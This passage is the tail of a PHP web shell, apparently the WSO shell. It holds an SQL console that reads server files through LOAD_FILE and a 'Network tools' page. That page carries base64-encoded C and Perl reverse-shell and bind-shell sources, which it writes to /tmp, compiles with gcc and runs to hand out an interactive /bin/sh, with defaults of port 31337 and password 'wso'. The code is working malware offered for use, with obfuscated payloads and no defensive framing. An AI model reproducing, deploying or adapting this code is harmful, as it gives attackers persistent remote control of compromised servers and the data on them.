1416 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1417 }
1418 echo '</tr>';
1419 }
1420 echo '</table>';
1421 } else {
1422 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1423 }
1424 }
1425 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1426 echo "</td></tr>";
1427 }
1428 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1429 if(@$_POST['p1'] == 'loadfile') {
1430 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
1431 $file = $db->fetch();
1432 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1433 }
1434 }
1435 echo '</div>';
1436 printFooter();
1437}
1438function actionNetwork() {
1439 printHeader();
1440 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1441 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1442 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1443 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1444 ?>
1445 <h1>Network tools</h1><div class=content>
1446 <form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
1447 <span>Bind port to /bin/sh</span><br/>
1448 Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>">
1449 </form>
1450 <form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
1451 <span>Back-connect to</span><br/>
1452 Server: <input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>">
1453 </form><br>
1454 <?php
1455 if(isset($_POST['p1'])) {
1456 function cf($f,$t) {
1457 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1458 if($w) {
1459 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1460 @fclose($w);
1461 }
1462 }
1463 if($_POST['p1'] == 'bpc') {
1464 cf("/tmp/bp.c",$bind_port_c);
1465 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1466 @unlink("/tmp/bp.c");
1467 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1468 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
1469 }
1470 if($_POST['p1'] == 'bpp') {
1471 cf("/tmp/bp.pl",$bind_port_p);
1472 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1473 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
1474 }
1475 if($_POST['p1'] == 'bcc') {
1476 cf("/tmp/bc.c",$back_connect_c);
1477 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1478 @unlink("/tmp/bc.c");
1479 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1480 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
1481 }
1482 if($_POST['p1'] == 'bcp') {
1483 cf("/tmp/bc.pl",$back_connect_p);
1484 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1485 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
1486 }
1487 }
1488 echo '</div>';
1489 printFooter();
1490}
1491if( empty($_POST['a']) )
1492 if(isset($default_action) && function_exists('action' . $default_action))
1493 $_POST['a'] = $default_action;
1494 else
1495 $_POST['a'] = 'SecInfo';
1496if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1497 call_user_func('action' . $_POST['a']);
1498?>